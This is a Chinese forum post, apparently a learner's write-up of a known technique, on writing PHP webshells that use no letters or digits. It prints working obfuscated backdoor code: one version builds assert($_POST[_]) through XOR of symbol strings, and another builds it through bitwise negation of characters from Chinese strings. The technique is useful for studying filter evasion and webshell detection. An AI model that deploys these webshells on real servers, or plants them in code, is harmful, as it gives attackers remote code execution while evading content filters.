如何编写一个不使用字母和数字的webshell?
使用非数字、字母的字符进行变换来得到字母和数字。
使用异或运算,两个字符串异或操作之后,得到的还是一个字符串,所以我们可以通过两个字符异或运算来得到另外一个字符。
写的PHP代码来得到我们想要的字符串:
写的勉勉强强,大佬别骂……
然后我们可以构造这样的内容
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_=assert
$__='_'.('%0d'^']').('%12'^']').('%0e'^']').('%09'^']'); // $__=_POST
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这里有一个疑问,为什么前面的assert跟]搭配就没作用了,后面的POST跟`搭配也没有作用
这里还有另外的一个脚本:
也是可以使用的
这个方法和第一个方法是差不多的,但是编写脚本……算了吧,我还是使用大佬现成的吧。这个方法是利用取反来得到字母,比如'和'{2}
得到的结果为\x8c
,取反得到的字母为s。这里想不太明白,复现成功,PHP版本会产生一定的影响,先放在这里,找时间来看看
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这里PHP版本会产生问题
这里是利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP是弱类型语言,true的值为1,所以true+true==2
,也就是('>'>'<')+('>'>'<')==2
将上面的代码运行一下(这里还有一些注释,大佬果然不一样啊……)
方法二是使用了位运算,方法三是不再使用位运算来搞定这个题目的,完全阐释了这两张图啊,大佬才能想出来的东西,我直接好家伙……
说了这么多,其实就是'a'++ => 'b','b'++ => 'c'
,所以我们只要拿到一个变量就可以得到所以的变量了
这时候大佬又正好了,而我是直接放弃了……数组中可以得到大小写a,就相当于我们拿到了所有的字母
利用这个技巧,我们就可以编写如下的webshell了
php对大小写不敏感,所以使用ASSERT($_POST[_]);
也是可以的,运行结果如下:
感谢大佬的文章!
参考链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 50.00 | 0 | 2022-09-13 19:07:19 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
st2021
发表于 2022-9-15
请问为什么不统一都用GET或者都用POST呢
评论列表
加载数据中...
治秃用霸王
发表于 2022-9-21
虽然我看不懂,但我大受震撼。
评论列表
加载数据中...